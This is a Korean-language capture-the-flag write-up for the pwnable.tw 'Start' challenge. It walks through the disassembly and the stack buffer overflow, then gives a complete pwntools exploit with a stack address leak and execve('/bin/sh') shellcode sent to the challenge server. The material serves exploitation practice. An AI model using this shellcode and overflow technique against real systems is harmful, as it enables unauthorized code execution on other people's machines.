Start(Pwnable.tw)

심효빈

```
   0x08048060 <+0>:     push   esp
   0x08048061 <+1>:     push   0x804809d
   0x08048066 <+6>:     xor    eax,eax
   0x08048068 <+8>:     xor    ebx,ebx
   0x0804806a <+10>:    xor    ecx,ecx
   0x0804806c <+12>:    xor    edx,edx
   0x0804806e <+14>:    push   0x3a465443
   0x08048073 <+19>:    push   0x20656874
   0x08048078 <+24>:    push   0x20747261
   0x0804807d <+29>:    push   0x74732073
   0x08048082 <+34>:    push   0x2774654c
   0x08048087 <+39>:    mov    ecx,esp
   0x08048089 <+41>:    mov    dl,0x14
   0x0804808b <+43>:    mov    bl,0x1
   0x0804808d <+45>:    mov    al,0x4
   0x0804808f <+47>:    int    0x80
   0x08048091 <+49>:    xor    ebx,ebx
   0x08048093 <+51>:    mov    dl,0x3c
   0x08048095 <+53>:    mov    al,0x3
   0x08048097 <+55>:    int    0x80
   0x08048099 <+57>:    add    esp,0x14
   0x0804809c <+60>:    ret
```

이 start 바이너리는 _start 함수와 _exit 함수만 존재하고 다른 코드는 아무것도 존재하지 않는다. 대신

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
```

nx 가 존재하는것 같지만

```
gdb-peda$ vmmap
Start      End        Perm      Name
0x08048000 0x08049000 r-xp      /home/gyqls/pwntw/start
0xf7ffa000 0xf7ffc000 r--p      [vvar]
0xf7ffc000 0xf7ffe000 r-xp      [vdso]
0xfffdd000 0xffffe000 rwxp      [stack]
```

stack 영역에 실행권한이 존재한다. 그러므로 스택영역에 쉘코드를 넣어 실행 함으로써 푸는 문제로 생각할 수 있다.

우선 _start 함수의 코드를 살펴보면 아주 간결하게 표현되어 있다
handray 한다면

char buf[20] = “Let’s start the CTF:”;
sys_write(1,buf,20);
sys_read(0,buf,60);

이 전부인 코드이다.
문장을 출력해준 뒤 문장을 입력 받고 프로그램을 끝낸다.
취약점은 buf 는 20 바이트인데 60 바이트를 입력받을 수 있는것이 취약점이다. (buffer overflow)

이 취약점을 이용해서 ret 값을 덮어씌우며 스택릭과 익스플로잇을 할 수 있다.
스택릭은
send(“1”*20 + (write 함수))
이렇게 하면 ret 이 실행될때 스택에 원래있던 값이 아닌 변조된 값으로 ret 이 되어서 출력을 다시해준다. 출력은 esp 기준으로 출력이 되어서 저때 esp 는 buf+24 위치부터 20 바이트를 출력해주므로 그 뒤에 있는 많은것을 leak 할 수 있다.
그 중에 스택에 있는 주소를 바로 릭해서 나온값을 오프셋 계산해서
쉘코드의 위치를 찾아 ret 을 실행해준다.

Exploit-

```
from pwn import *
shellcode =
"₩x6a₩x0b₩x58₩x31₩xf6₩x56₩x68₩x2f₩x2f₩x73₩x68₩x68₩x2f₩x62₩x69₩x6e₩x89₩xe3₩x31₩xc9₩x89₩xca₩xcd₩x80"
#s=process("./start")
s=remote("chall.pwnable.tw", 10000)
context.log_level = 'debug'
```

```
s.recvuntil(":")

s.send("1"*20+p32(0x8048087))

leak = u32(s.recv(4))

print "leak = 0x%x" % leak

s.recv()

s.sendline("₩x90"*20+p32(leak+21)+"₩x90"*11+shellcode)

s.interactive()
```